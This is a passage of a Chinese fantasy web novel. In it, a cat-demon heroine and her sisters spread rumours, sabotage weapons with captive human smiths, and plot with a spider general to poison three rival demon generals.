衔蝉继续回苦力小妖队伍里,阿琅回大厨房,风妧回玄蛛的洞府。 衔蝉和阿琅那边都很顺利,风妧却又背了个时。 她回去的时候是深夜,平时这个点,玄蛛都已经歇下了,但今天,风妧回去的时候却被她撞见了。 玄蛛斜倚在门口,幽幽的看着风妧。 风妧一个激灵,干巴巴的笑了两声:“大将军,这么晚了,您还没睡啊?” 她自顾自的解释:“我尿涨,出去上了个厕所,这不刚回来呢。” 玄蛛没说话,只继续用复眼看着风妧。 风妧的冷汗都快被看出来了,她才往后让了一步。 “回来了就行。” 风妧连忙表忠心:“我当然要回来,我可还指望着您提拔我呢!” 玄蛛的嘴角轻微的动了动,像是笑了一下,又像是没有。 “想要我提拔你,你就要拿出真本事来。” 风妧装傻:“那必须的啊!我每次给您做菜都是拿出了看家本事的!您要是有什么意见,只管告诉我!” 玄蛛盯着她:“你的蒜臼子和擀面杖用得挺好的。以后可得多用用。” 风妧继续装傻:“哎?得嘞!以后我天天给您做蒜蓉肉片汤!” 玄蛛啧了一声。 风妧竖着耳朵等她的下一句话,但她却好一会没再开口。 直到风妧讪讪的从她身边溜过去准备回房时,才听到了一句呢喃似的低语。 “你的厨艺,真的很烂。” 风妧一惊:“?!” 她大惊失色,忙想辩解两句,但玄蛛已经头也不回的走了。 另一边。 衔蝉和苦力小妖们果然被派去打铁了。 衔蝉趁机观察了一下这个冶炼场。 她发现这个冶炼场里打铁的不仅有妖,还有人类! 而且那些人类似乎地位还挺高,打铁的妖都得听她们的指挥。 关键是在场所有妖都习以为常的样子,人类让她们打铁就打铁,让她们拉风箱就拉风箱,简直是指哪打哪。 冶炼场里的监工妖们也对人类的态度相对温和一些,几乎不打骂她们。 但仔细一看,那些人类的脚上又都拴着铁链。 这场景让衔蝉心里直嘀咕。 这些人类也是被抓来的?从哪抓来的?没引起降妖师的注意吗? 还有,她本来想暗中给生铁动点手脚,但现在有这些看上去很专业的人类在,她还能顺利找到机会下手吗? 不行,她得探探这些人类的底。 想罢,衔蝉主动走过去,找了个看上去最好说话的人类。 “我们是刚从矿场调来帮忙的力工,师傅,我们要做些什么?” 那个人类抬头看了衔蝉一眼,随后又低下头继续捶打铁块。 “去把矿石投进熔炉里,烧化了再把铁水倒出来,跟我们一起锻打生铁。” 她一边说,一边扛着锤子用力捶打着铁块。 衔蝉观察了一下她的动作,然后应了一声,招呼小妖们跟她一起干活。 小妖们似乎也有些好奇冶炼场里为什么有人类,悄悄地偷瞄了好几眼。 但衔蝉一喊,她们马上跑过去干活,没再多看。 不远处的监工妖腰里别着藤编,往这边看了几眼,发现新来的力工很省心后又扭头继续摇着扇子歇凉了。 冶炼场里热得很,他们都不爱往里面走,通常就在边缘的地方拿着鞭子巡视一下有没有偷懒的。 矿场的监工妖把衔蝉她们送过来之后,也跟着冶炼场的监工妖混到一起歇凉去了。 隔着老远,衔蝉还听到他们在吹嘘自己手下的力工。 “嘿!你们不知道,我们手下那个闲不住力气大得很!干活可快呢!” “她也不偷懒,有她带着那些个小妖,咱们就可以放心歇着喽!来来来!喝酒喝酒!” 第69章 衔蝉带着小妖们, 在冶炼场又干了半天的活。 冶炼场里的监工妖原本还不怎么相信居然有这样老实肯干的冤大头,但经过一上午的观察,他们也不得不信了。 他们表示大开眼界, 头一回见到这样的妖。 她一个猫就顶别个十个妖, 关键是还实诚得很,一点懒不偷! 并且干了一上午, 她居然还精神满满的,看上去还能再干一百年! 监工妖们都被衔蝉这种热爱工作的牛马精神感动了。 于是他们放心的跟采石场的监工妖喝酒歇凉去了, 还不忘附和他们几句,叫那几个采石场的监工妖颇觉有面子。 到了中午放饭的时候,冶炼场的监工妖们就对衔蝉也很和颜悦色了,亲自来给她放饭。 这时,衔蝉发现冶炼场这边的伙食还要稍微好一点。 监工妖们除了青柿子, 还给她们发了一小碗热乎的菜汤。 人类们似乎吃得更好一点,她们的碗里还能看见几块肉。 衔蝉当场就端着碗,很不见外的坐到今天指挥她们打铁的师傅旁边去了。 自来熟的猫,才过了一上午,就已经可以跟这位关师傅说上几句话了。 “关师傅!一起吃饭啊!我们这还有青柿子,烧熟了之后味道还成, 你要尝尝吗?” 衔蝉很不见外的举起青柿子, 跟关师傅唠起了家常。 关师傅是个有些沉默寡言的人,但却意外的好说话。 她没有拒绝衔蝉的青柿子, 还从自己碗里挑了一块肉给衔蝉。 “今天上午多亏你了,打的铁胚都比往常多。” 衔蝉乐呵呵的收下关师傅给的肉,又把烧好的青柿子给她,继续跟她唠。 监工妖们朝这边看了一眼,但他们也要忙着吃午饭, 只看了一眼就没管衔蝉了。 对他们来说,只要衔蝉没跑路没捣乱,随便她干嘛都行。 只是跟人类聊几句天而已,问题不大。 但他们也有在偷听,要是衔蝉问了什么机密问题,他们马上就会来制止的。 好在衔蝉很有分寸,唠的都是家常,也没打听什么,看上去好像只是想跟关师傅套点近乎。 这倒也很正常,毕竟人类铁匠伙食好嘛,大家还亲眼看见关师傅给了衔蝉一块肉。 所以监工妖就以为衔蝉只是为了口吃的讨好关师傅。 他们一下子就放心了。 下午,衔蝉已经跟关师傅有了些交情,被她喊去帮忙做更需要技术的活了。 “你来跟我一起锻打生铁。” 衔蝉屁颠屁颠的跑过去:“好嘞!” 她们面对面站在同一个锻打台边,一起挥动大锤子,把铁胚一点一点砸成该有的形状。 打铁的时候,她们在弯腰的那一瞬间,距离极近,近到几乎可以耳语。 衔蝉敏锐的发现了这一点。 但她才跟关师傅刚认识,不太方便立刻就趁机对她说点什么或者问点什么。 况且,关师傅这边具体是个啥情况,她也暂时不清楚,不能轻举妄动。 不过敏感的问题不能问,家常聊天却可以继续。 衔蝉趁着每次弯腰打铁的机会,就小声跟关师傅继续唠嗑。 唠着唠着,她就状似不经意的聊到关师傅的家乡在哪,家里有几口人,屋后有几亩田了。 “家乡已经没了,家人也没了。” 关师傅说到这些的时候,眼神似乎有些麻木。 衔蝉一愣。 关师傅却不再说话了。 直到这一天下工,她都没有再开口说过一句话。 衔蝉顿时有些懊恼,自己问错话了,戳着人家的伤心事了。 不知道明天还有没有补救机会。 她不是要故意戳人家痛处的,只是想旁敲侧击的打听打听她们是怎么上山的,再试探一下她们有没有想走的想法。 但今天她说错了话,只好先闭嘴。 不过衔蝉不是那种轻言放弃的猫,第二天上工的时候,她就又厚着脸皮站到了关师傅对面。 关师傅也没说什么,只继续跟她一起打铁,两人都很默契的没有再提昨天的话题。 衔蝉见缝插针的跟关师傅道了歉,并表示希望能得到她的原谅。 关师傅“嗯”了一声。 衔蝉马上顺杆爬,很快又跟关师傅聊起了别的话题。 她们从冶炼场的伙食聊到住处,又聊到每天规定要产出的生铁产量,再聊到山上的妖是怎么学会打铁的。 她们聊天的时候声音压得低,又有叮叮当当的打铁声掩盖,因此竟没人和妖发现她们已经聊了这么远。 在跟关师傅的聊天中,衔蝉得知了不少消息。 人类们的伙食是单独做的,里面还有盐糖之类的调味料,为的是防止她们没力气干活。 而柿子山上是不产盐和糖的,这两样东西都得从山下弄来。 还有人类们的住处是在另一个单独的山洞里,也挂着大铁门和铁锁。 位置倒是离衔蝉她们住的山洞不太远,走一会就能到。 衔蝉还从关师傅口中得知了蝎子妖每天所需的生铁产量,大致推算出了他这一批武器的数量和形制。 总之,这一次的聊天,衔蝉收获颇丰。 之后她又偷偷的观察了一下冶炼场的地形和位置,还小心翼翼的试探了一下关师傅的意思。 不出她所料,被掳来的关师傅是有想离开的心思的。 只是蝎子妖把她们看得很紧,她又是凡人,没有移山填海的神通,便只好在妖精手下委屈求生。 衔蝉还拐弯抹角的问了一下另外几个师傅的情况。 得到的答案也并不意外。 她们都是蝎子妖在山下掳来的工匠,可以说没有一个是自愿来的。 不然蝎子妖也不会给她们脚上栓铁链。 摸清楚这些情况后,衔蝉心里就有底了。 她趁着打铁的机会,不着痕迹的在人类铁匠面前泄露出了一丝丝“反意”。 并且话里话外还提到了一些能“动摇军心”的消息。 “蝎子大王之所以这么着急打铁造武器,就是要跟隔壁山头的强敌打起来!” “哎哟,听说隔壁山头的大王也厉害得很呐,这打起来不得两败俱伤呀。” 衔蝉装作很操心的样子的煽动道:“唉,这要是蝎子大王战败了,咱们要怎么办呢?” “到时候先锋他们都打仗去了,谁来给咱们送饭呀?我们不会饿死在山上吧?” 她就这样暗搓搓的造谣说这一战蝎子妖其实没啥胜算,并极力暗示人类铁匠们,只要蝎子妖战败,她们就有逃生的机会。 人类们沉默不语,若有所思。 衔蝉也不急,每天继续叭叭的给蝎子妖造谣,说他打肿脸充胖子,其实内里很虚,等隔壁山头大王一来,他必败无疑。 听得多了,人类们也咂摸出来了。 这个闲不住,该不会就是隔壁山头派来的卧底吧? 越想越觉得是这样,人类们在心里思量了一番后,就有想法了。 都说鹬蚌相争渔翁得利,要是蝎子妖和别的妖打得两败俱伤,对她们来说倒是好事一桩。 只是脚上的锁链不好取,她们对山上的地形也不清楚,不方便逃跑。 但这个时候,衔蝉就有话要说了。 她告诉大家,她有办法弄断铁链,但有个前提。 猫图穷匕见:“我要你们配合我,在蝎子大王的武器里动手脚,我才会帮你们打开锁链。” 她还悄悄给自家山头吹牛皮招揽人才:“到时候,你们就往隔壁山头跑,那边有修好的路可以下山。” “而且隔壁的大王跟蝎子大王不一样,她不会拦着你们不让走的。” “当然,你们要是没去处,干脆投奔她也是可以的,我听说啊,隔壁大王还拜了人类为师,对人类可友好呢!” 人类们:“” 这该不会又是一个坑吧? 但衔蝉极力向她们保证,隔壁山头的妖都不吃人也不压榨人,尽管放心。 “你们就算不信我,那总知道在蝎子大王手下讨生活有多难吧?” “咱们拼这一把,不论输赢也不能更差了!” “何况咱们几乎不会输,隔壁大王厉害着呢,继续给蝎子大王卖命没前途的!” “等隔壁大王打过来了,咱们趁乱就跑,不比继续在这山上干苦力强?” 衔蝉一通忽悠下来,人类们虽然对隔壁山头的大王还有些疑虑,但都信了隔壁马上要大军压境打过来。 毕竟衔蝉本猫就是活生生的证据嘛。 而且这几天跟她相处下来,大家都发现了,她确实跟蝎子妖手下的妖精不一样。 比起那些凶神恶煞的妖兵妖将,她似乎更像一个人。 一个好人。 于是乎大家心里多多少少有了些偏向,只是还在犹豫要不要豁出性命赌上这一把。 在她们犹豫时,衔蝉也不催促她们,而是转头继续在蝎子妖的地盘上造谣。 她借着自己小头目的身份,给手下的苦力小妖们又谋了些稍微轻松点的活计。 在衔蝉的运作下,小妖们有的被派去打柴,有的被派去看门,有的被派去伺候别的小头目。 她们像火星子一样散落在了蝎子妖的地盘上,并且按照衔蝉教的法子,悄悄地在私下传谣言。 “隔壁大王要打过来啦!蝎子大王要败了!” “听说隔壁的大王神通大得很,手下的妖兵妖将也以一当百,一般妖根本挡不住!” “她那边还有降妖师助阵嘞!打起蝎子大王来跟吃花生米一样简单!” 小妖们都很实心眼,衔蝉让她们传谣,她们果真就把这谣言传遍了各个山头。 并且她们都很听衔蝉的话,只在私下里悄悄传谣,但没有闹到明面上让上面的先锋,妖将们知道。 这种恐慌的氛围,只在一些底层小妖之间流传着。 不过渐渐地,这谣言流传的范围就越来越广了。 先是一些同样的苦力小妖,再是一些地位稍高的打杂小妖,再到一些底层小妖兵,甚至是一些小头目 最后几乎除了蝎子妖手下的高层大妖外,底下的小妖们都慌起来了。 大家都担心蝎子大王败了,她们会落到更残暴的妖王手里。 但就在这时,大厨房那边又悄悄地传出了新的消息。 听说隔壁山头的大王一点都不残暴! 大名鼎鼎的衔蝉大王,又神通广大,又宽仁待下,并且东坡子洞里富得流油,许多小妖都想过去投奔她呢! 而且据说她不挑妖手,只要是老实肯干活的妖,她都收! “我知道!我听说过衔蝉大王!本来我们就是想去投奔她的!但是半路就被抓来这里了!” “我也是!我有个朋友的二姑的大妹子就在那边,听说她现在过得可好了,一天三餐加夜宵能吃五顿!” “我还听说衔蝉大王会帮大家涨法力!谁要是功劳大,她就给谁‘开挂’!” “啥是开挂?哈,这你就不懂了吧,这是东坡子洞里的行话,就是帮你涨法力的意思!” “还有哦!听说她们山上还有很厉害的降妖师,会教小妖们本事呢!” “降妖师教小妖本事,这不对吧!” “哪里不对了!那降妖师是衔蝉大王的师尊,是东坡子洞里的太上皇,她帮徒儿操练手下,对得很!” “真的假的!” “当然是真的!不信你悄悄去问,这山上很多小妖都是原本想去投奔衔蝉大王的!” 这谣言传着传着,小妖们就不恐慌了,开始私下里偷偷琢磨要怎么跑路去投奔衔蝉大王。 等谣言在私下里传得沸反盈天时,人类铁匠们也下定了决心。 关师傅第一个找到衔蝉,告诉她,这一把,她赌了! 紧接着又是第二个,第三个 衔蝉喜笑颜开,当即就跟人类铁匠们合力,在蝎子妖这一批的武器里动了手脚。 铁匠们用自己的专业知识,把这一批武器打得又硬又脆,看上去唬人,但只要用特殊的法子敲击特定部位,它们就会碎掉! 一批武器入库,第二批武器,大家又如法炮制。 反正蝎子妖手下的妖兵也不太懂这些,只见那些兵器都寒光闪闪的,便都当是好东西,麻溜的入库了。 这时候衔蝉和阿琅配合着打出来的造谣战术就基本上成功了大半。 而阿琅那边也告诉衔蝉,她们厨房上也有很多妖想跑路去投奔东坡子洞了。 只是大家都还在等一个机会。 一个能确定蝎子妖会兵败的机会。 衔蝉马上用纸鹤通知风妧,让她想办法给大家制造一个这样的机会! 只要她能煽动玄蛛随便做点什么,她就可以传下一波谣言了! 谣言标题她都想好了,就叫“衔蝉大王大军压境在即,蝎子大王手下妖心不齐!” 这样小妖们就会以为,连妖将们都对这场仗没底,也想着提前跑路呢! 到时候,蝎子妖手下的妖心才会真正的大乱起来。 衔蝉这边计划得很好,而风妧那边却遇到了亿点点麻烦。 她收到纸鹤的时候,玄蛛就在她屋里。 风妧:“” 风妧跳起来一把逮住纸鹤,故作惊讶:“这是什么东西!大将军快躲开!说不定是暗器!” 说着就把纸鹤往脚下一踩,当场就想毁尸灭迹。 但玄蛛却似笑非笑的看着风妧。 “别装了。”玄蛛手指一勾,一条蛛丝就从她指尖射出,将纸鹤卷回她手里。 “我知道这是你跟你的同伴传递消息的东西。” 玄蛛摩挲了几下纸鹤,将它放在自己耳边。 但纸鹤里什么声音都没传出来。 风妧长舒一口气,幸好她娘做的传讯符里融入了她们师姐妹仨的灵力气息,除了她们以外,谁都听不到纸鹤里的声音。 于是她一脸无辜的看向玄蛛。 “大将军,您在说什么我怎么没听懂。” 玄蛛难得的笑了一下。 “听不懂也没关系。” 她忽然站起来,绕到风妧身后,将双手从她脖子后面伸了出来,把纸鹤贴到她耳边。 然后她把下巴搭在风妧肩头,并侧着头,让自己的耳朵凑到了风妧耳后。 风妧:“!!” 不好!药丸! 纸鹤感应到风妧的灵力气息,里面的声音一下子就飘了出来。 “二师妹!你那边怎么样了!我现在需要你帮个忙!你有机会的话,随便让玄蛛对那几个男妖将做点什么!” 听到消息的风妧:完蛋了,现在不是我要玄蛛做点什么,是她要对我做点什么了。 她僵硬的转身,尬笑道:“呵呵呵这是什么死动静,这纸鹤还会说话呢!真稀奇!” 她竭力否认纸鹤里的声音是在联系自己,反正衔蝉又没指名道姓,说她在喊谁都有可能。 玄蛛头顶的触角动了动。 然后她松开风妧,毫无征兆的开始哈哈大笑。 风妧:? 她头上冒出一滴冷汗。 玄蛛笑得腰都弯了,像是没听过这么好笑的笑话一样,足足笑了半刻钟。 半刻钟后,她倏然收起笑容,坐在风妧的吊床上翘起双腿,悠悠问道:“你们想让我做点什么?” 风妧装傻:“哈?您要做什么?” “好了,别装了,你装得真的不像。”玄蛛晃了晃腿:“你知道我为什么要留下你吗?小降妖师?” 风妧:“” 她还以为她已经骗过她了! 可恶啊。 风妧的脑子飞快转动着,玄蛛却不给她解释的机会,又弹出两条蛛丝,把她腰间的罗盘和镇魂铃勾了过去。 “蒜臼子。”她举起罗盘。 “擀面杖。”她举起镇魂铃。 “你可真会扯谎啊。”玄蛛感慨。“而且饭也做得不好吃。” 风妧脸色扭曲了一瞬间。 什么叫饭也做得不好吃! 明明她每次都有很认真的给她做饭了! 她给自己做饭都没那么认真呢! 这玄蛛嘴巴怎么这么刁!这像话吗! 风妧极力隐忍着回怼玄蛛的冲动,忍辱负重的没吭声。 玄蛛却又弹出一条蛛丝,把她衣襟里藏着的一沓符箓勾了出来。 “人赃并获喽。” “现在可以跟我好好说话了吗?”她捏着符箓抖了抖。 风妧深吸一口气。 “好吧,大将军,您想要我做什么?”她一脸决绝:“您只管说!刀山火海我也拼了!” “只要您别告发我就行!” 风妧拼命挤出一滴眼泪:“就当看在我这些天给您做饭没有功劳也有苦劳的份上吧!” 玄蛛又是一阵大笑。 随后她低了低头,再抬头时,一双复眼竟变成了与人类一模一样的圆瞳黑眼。 仔细看,这双眼睛的形状貌似还有点眼熟。 但风妧一时之间想不起来。 玄蛛用这样的眼睛看着风妧:“想要你做什么?你想让我做什么,我就想让你做什么。” 她把纸鹤往空中一抛,纸鹤中央就浮现出一圈黑色的水痕。 水痕渐渐扩大,纸鹤很快就被腐蚀,变形,最后只剩下一滩黑色的毒液滴落在地上。 风妧:! “您是说,您也想对付那三个男妖将对吗!” 玄蛛:“对啊。” 她偏了偏头:“你找上我,不就是因为我比他们都厉害? “既然我比他们都厉害,那我为什么不能做老大?” 在柿子洞里,四大妖将,她排第四不是因为她不够厉害,反而正是因为她太厉害,才被那三个男妖将抱团排挤。 而她早就想弄死那三个除了抱团和拍马屁之外啥也不会的废物了。 风妧的眼睛一下子就亮了。 还有这种好事! “大将军好志气!那咱们来商量商量要怎么做吧!您需要我做什么,只管吩咐!” 玄蛛把罗盘符箓镇魂铃重新丢给风妧。 “你知道我们几个妖将的跟脚都是毒物吧?” 风妧点头:“所以下毒不能用?” 玄蛛摇头:“不,能用,而且很好用。” 因为像她们这样跟脚的妖,修炼方向大多都是把自己的毒素炼得更厉害。 修炼到玄蛛这个级别的时候,她的毒素几乎放倒任何与她同级别的妖。 但也正是因为这个缘故,四大妖将之间表面凑合,私下里却十分防备彼此。 尤其是被排挤的玄蛛。 她的毒最厉害,另外三个防她也防得最狠,几乎任何跟玄蛛有关的东西,他们都不敢沾染。 生怕自己被玄蛛给毒死了。 “所以你只要能把我的毒下到那三个废物的嘴里,他们就必死无疑。” 玄蛛幽幽的看着风妧:“本来我是想用你做的吃食来下毒的。” 当初她想,要是风妧做的饭菜确实好吃,那她就可以想个法子,把她送给另外三个男妖将做厨子。 到时候再用毒素控制风妧,让她给那仨下毒。 风妧:“啊?他们不是很防备你吗?” “是防备,但如果是大王送的厨子,他们就不敢拒绝了。” 玄蛛:“我一开始,是想提拔你去给大王做一顿饭的。” 只要风妧做的饭菜好吃得很客观,但不符合蝎子妖的主观口味,他就会本着不浪费的原则,把风妧送给手下。 至于手下是将风妧拿去用还是吃,他就不会管了。 玄蛛有本事保住风妧的命,也了解蝎子妖的口味,她有把握指导风妧做出不合他胃口的精美菜肴来。 但 玄蛛面无表情:“你做饭实在是太难吃了。” 导致她根本送不出手—— 作者有话说:风妧:岂有此理!! 第70章 面对玄蛛两次三番对她厨艺的抨击, 风妧忍了忍,又忍了忍。 终究是没忍住。 “也没有那么难吃吧!我自己尝过的,还可以的!我们平时也是吃那样的饭菜啊!” 在东坡子洞里, 大家都吃那样的大锅饭的, 哪来那么多的花样。 非要说有什么区别的话,无非就是东坡子洞里的食材自带灵气, 本身味道要更好一些罢了。 在柿子山上的食材要差一些,用最简单的做法做出来后, 食材的本味当然也就没那么出众。 但风妧可以拍着胸脯保证,她真的已经很用心的在给玄蛛做饭了! 这些天她给她做了水煮的火烤的清蒸的油炸的,她甚至还采了野花摆了盘呢! 她自己吃饭都没那么讲究! 然而,玄蛛对此的评价是:“屎上雕花。” 摆盘再好看,味道也还是一坨。 所以她只尝了一口就知道, 风妧这个厨子她是送不出去的了。 要是把这种水平的厨子送给蝎子妖,不仅风妧要被当场击毙,玄蛛也得挨一顿批。 跟生活在岭山边缘的“乡下妖”相比,蝎子妖可是很见过些世面的。 他吃过不少好东西,也知道什么是好什么是坏,想在这上面糊弄他, 根本行不通。 玄蛛叹气:“你这厨艺, 当初何苦要装厨子。” 哪怕她随便装个打猎的,也比装厨子好, 因为打猎这种粗活看上去更适合风妧。 风妧:“” 第三次了!她第三次嫌她做饭难吃了!简直岂有此理! 要不是现在大敌当前,风妧真想拉个板凳跟玄蛛好好掰扯掰扯,为自己的厨艺正名。 这分明不是她厨艺不好,而是她嘴巴太挑! 风妧撇了撇嘴,转移话题:“那现在咱们要怎么办?” 伪装厨子下毒的计划行不通了, 还有什么别的办法能把毒下到那三个男妖将嘴里吗? 玄蛛:“这就要看你们降妖师的本事了。” 她坐回床上支着下巴看向风妧:“你们的怪法子不是挺多?” 反正毒液她出,但用什么方法把毒下下去,就看风妧这个降妖师有几分古怪的本事了。 不管是她能瞒天过海,还是另辟蹊径,总之只要能把毒下进那仨嘴里就成。 风妧拿着罗盘和镇魂铃,陷入沉思。 降妖师的本事她灵光一闪。 “不如我们这样!”风妧兴奋的跑过去,凑到玄蛛耳边,压低声音如此如此这般这般一说。 玄蛛听完,很惊讶的看了一眼风妧。 “没想到你居然还有几分聪明。” 风妧:什么话这是! 又被当面挤兑了一次,风妧一怒之下小发雷霆,决定今天不给玄蛛做饭了。 玄蛛:那可真是双喜临门。 一言为定! 衔蝉和阿琅很快就收到了风妧的纸鹤,叫她们寻个机会,来玄蛛的洞府一聚。 已经混成小头目,有了些妖身自由的衔蝉和阿琅当天晚上就过来了。 然后跟屋里的风妧和玄蛛大眼瞪小眼。 衔蝉用眼神问风妧:这什么情况?她怎么也在这? 阿琅也很迷茫,她们这是被玄蛛抓包了吗?要不要跑? 风妧清了清嗓子:“咳!别多想,大将军现在也是咱们这边的妖了。” “她手上有能叫那三个男妖将立时毙命的剧毒,但那仨防备得紧,咱们得想法子,把毒给他们下下去。” 衔蝉:! 阿琅:! 她俩齐刷刷的扭头看向玄蛛。 玄蛛悠然自得的坐在吊床上,坦然道:“看我做什么,继续啊。” 衔蝉小心翼翼的问:“玄蛛大将军,您这是打算叛出柿子洞了吗?” “算不上。”玄蛛言简意赅:“我只是在对付那三个废物这事上跟你们是一边的。” 至于叛出柿子洞,她暂时没这打算。 衔蝉:“唔,那弄死他们后,你不会转头跟蝎子大王告发我们吧?” 玄蛛摇头:“我犯不着。” 等那哥仨死了,蝎子妖一定会大怒,指不定要牵连多少妖,她躲还来不及,实在没必要上赶着去找削。 虽说揪出主犯听上去很有功劳,但风妧可是她留下来的人。 再顺着风妧往下一扒拉,到时候蝎子妖指定会迁怒到她头上,她可不就遭殃了。 因此待事成之后,玄蛛只会装作不知情,别说告发衔蝉她们了,她连提都不会提。 “所以在这事上,你们没必要防备我,至少我们现在是一伙的。” 衔蝉又问:“那你不担心死了三个妖将,柿子洞实力受损吗?” 玄蛛微微偏头:“我关心这个做什么?这是蝎子大王要考虑的事情。” 她只是个妖将而已,除了在战斗的时候卖命出力之外,别的她一概不管。 也轮不到她去管。 至于蝎子妖的实力是否受损,这跟她实在没有半点关系。 甚至因为蝎子妖实力受损后只能倚靠她一个妖将,她反而会更得势。 衔蝉挠头:“这样吗?” 顿了顿,衔蝉试探问道:“既然如此,那你为什么不干脆一不做二不休”自己篡位做大王呢? 看玄蛛这性格,也不像是有多么愚忠的样子啊。 玄蛛闻言,面无表情的扯断了一把吊床的蛛丝。 为什么不干掉蝎子大王自己上位,是她不想吗,不,她做梦都想。 然而“我|干不过他。” 衔蝉耳朵一竖,敏锐的听出了玄蛛语气里的不服。 “蝎子大王很厉害吗?法力很高?” 玄蛛摇头:“不,他自己的本事也就那样。” “但他有一样宝贝。” 衔蝉师姐妹三个瞬间警觉:“什么宝贝?” 玄蛛言简意赅:“一面宝镜。” 据说那宝镜颇有来头,曾是某位妖王的宝物,但却时移世易,落在了蝎子妖手里。 不过那宝镜落到蝎子妖手里的时候已经破损了大半,威力大不如前,如今只有两样用处。 一是为蝎子妖辨毒。 任何东西,蝎子妖只消用它一照,就能分出那物有毒无毒。 因此即便玄蛛的毒素能毒死蝎子妖,也没法对他下手。 第二个用处就更厉害了。 它有一个只有蝎子妖知道的咒语,他只消念出那道咒语,再将宝镜对准敌人,便能将镜中敌人的修为悉数吸干! 而且被它吸干的敌人越多,它的威力就越大,下一次就能吸干更强大的敌人。 靠着这宝贝,蝎子妖不知打败了多少比他法力更高强的大妖。 衔蝉倒吸一口凉气。 这么厉害! 难怪玄蛛不敢轻举妄动,这换谁来也不敢轻举妄动啊! “这下可棘手了”衔蝉眉头紧锁。 现在那三个男妖将已经不算最大的威胁了,最大的威胁就是蝎子妖手里那面镜子! “不行,咱们得想个办法把那镜子给砸了,不然这完全赢不了啊!” “你们砸不了它的。”玄蛛托腮:“那宝镜坚不可摧,不似寻常镜子脆弱。” 衔蝉:“不对啊,它不是已经残破了吗。” 她们就不能再给那镜子补一刀,让它彻底废掉吗? 玄蛛:“是残破了,但那是妖王和大天师联手打破的,你们有那本事吗?” 衔蝉愣住。 “妖王,和大天师?” 猫挠头:“妖王的话,蝎子妖不就是吗?他能不能打破那镜子?还是一定要妖王和大天师一起动手才能打破它?” 玄蛛嗤笑了一声。 “他算哪门子的妖王。” “也就是现在妖族没落了,才叫大家有胆子胡乱称王了。” “在当年,能称妖王的,拢共就那么一位。” 玄蛛那时候刚开灵智,虽没见过那位妖王,但却是听着她的丰功伟绩长大的。 因此在玄蛛心里,真正的妖王,也就那一位而已。 “岭山之主。” 玄蛛眼神悠远:“当年她在的时候,我们妖族可不像如今这般落魄。” 那时候,整个中州大陆都被人妖二族瓜分共治,妖可以光明正大的走在人类的城池里,还能与人类来往贸易,甚至通婚。 那是个黄金时代,人和妖之间没有对立,没有仇恨,两边只是划线而治,就像两个睦邻友好的国度一般。 岭山山脉,曾经也是独属于妖族的妖都。 这大岭山深处,也还遗落着不少当年的城池遗迹。 可惜后来妖王陨落,两族平衡瞬间被打破,人族靠着降妖师们,逐渐占据了上风。 到了现在,已经是人族独大,所有妖族都被撵进了深山老林子里苟延残喘。 “也就是岭山之主不在了,什么阿猫阿狗都有胆子扯旗子称王了。” “要是放在当年,现如今这些‘妖王’给她提鞋都不配。” 听到玄蛛的感慨,作为一个各种意义上的“阿猫”的衔蝉感觉自己膝盖好像中了一箭。 “咳咳咳!别说那么远了,咱们还是来商量商量怎么弄死蝎子妖吧。”猫急忙转移话题。 玄蛛:“哦,那你们商量吧。” “反正想打破宝镜是不可能的,没有岭山之主的实力,你们想磕破它一个角都没戏。” 衔蝉:“” 她明智的换了个想法。 “要不咱们把他镜子偷了?”风妧举手提议道。 玄蛛:“你可以试试。” 风妧眼睛一亮,马上就要准备开始商量战术,却听玄蛛补充道:“那宝镜就在蝎子妖胸口,你们去偷吧。” 风妧闭嘴了。 “算了,还是先对付那三个男妖将吧。” 正所谓柿子要挑软的捏嘛。 先斩去蝎子妖的左膀右臂,再想办法去对付他。 玄蛛对此没有异议,并当场给衔蝉师姐妹提供了她的毒液。 “这些毒液无色无味,只需要一滴,就能毒死那三个废物。” 她张开手掌,转手将掌心悬浮着的毒液团移交到衔蝉手上。 风妧跑过去,跟衔蝉和阿琅也如此如此这般这般一说。 “好!就这么办!” 衔蝉召出藿麻,用这些刺里的毒囊把玄蛛的毒液存起来,再让它将本身的毒刺收拢贴伏在枝条上,伪装出无害的样子。 为了防止毒液腐蚀到自己的本命灵植,衔蝉将毒液分成许多小份,并在每一份毒液外都裹了一层灵力壳子。 这样藿麻就不会被玄蛛的毒液伤到了。 最后衔蝉将藿麻缩小成只有一个巴掌高,叶子也改了个形状。 在衔蝉的改造下,藿麻一下子从一个平平无奇的山野杂草,变成了一颗散发着幽幽荧光的奇异植物。 并且还散发着诱人的灵力气息。 但这还不够。 衔蝉师姐妹三个嘀嘀咕咕的商量了好一会,最终将藿麻彻底改造成了一颗很有几分仙气的“灵植”。 “好了,阿琅,接下来就交给你了!” 衔蝉把藿麻的根须缠在阿琅手上。 “要快点把它栽到土里去!” 阿琅重重点头:“嗯!我这就去!” 她捧着魔改版的藿麻苗,脚下生风,火速朝外奔去。 风妧也抄起镇魂铃紧随其后。 衔蝉跟玄蛛挥了挥手算是道别,也飞叉叉的跑了。 看着她们仨的背影,玄蛛轻笑了一声。 “好戏要开场喽。” * 柿子山并不是一座独立的山头。 它和小南峰,东山,小泉峰一样,是岭山山脉十万大山里的其中之一。 在它的隔壁,还有好几座物产丰饶肥美的山头,如今都被蝎子妖霸占着。 蝎子妖杀死了这里原本的妖王们,又将他们的洞府分给了自己手下的四大妖将。 也就是说,四大妖将现在是各自占着一个山头的。 柿子山是玄蛛的,隔壁的三座山则分别是金蟾,千足,竹叶青的。 不过那仨男妖将并不像玄蛛这样,常年都只待在自己的洞府里。 为了抱团排挤最厉害的玄蛛,他们仨还拜了把子,互相称兄道弟,平时也时常聚在一起喝花酒,吃人肉。 这天这哥仨照旧在一起花天酒地。 他们聚在金蟾的洞府里,享受着美食美酒,欣赏美艳的妖姬的舞姿,好不快活。 但忽然,轰隆一声巨响,打断了金蟾洞府里的歌舞声。 “什么动静?!” 三个男妖将惊了一跳,连忙跑出洞外。 洞外的妖兵们也被惊到了,正在探头探脑的往巨响声传来的地方张望。 这时,在所有妖的注视下,一道刺眼的金光冲天而起! 再一细看,似乎正是从巨响声处爆发出的光芒! 这下三个男妖将坐不住了,连忙派小妖去查探是怎么个情况。 而与此同时,画完一道霹雳符炸开了山壁的衔蝉拍拍衣摆,脚底抹油,开溜。 刚扔出一道金光符的风妧则反手给自己贴了隐匿的符纸,猫在衔蝉炸出来的空洞里等待着时机。 从空洞的缝隙里看去,一株绿莹莹的奇异植物正在散发着暖色的光芒。 一阵杂乱的脚步声传来。 一群妖兵闹哄哄的来了。 他们一来,眼睛一下子就被魔改版的藿麻吸引住了。 这时又有似有若无的铃声传来,勾魂似的,勾着这些妖兵晕陶陶的走向藿麻。 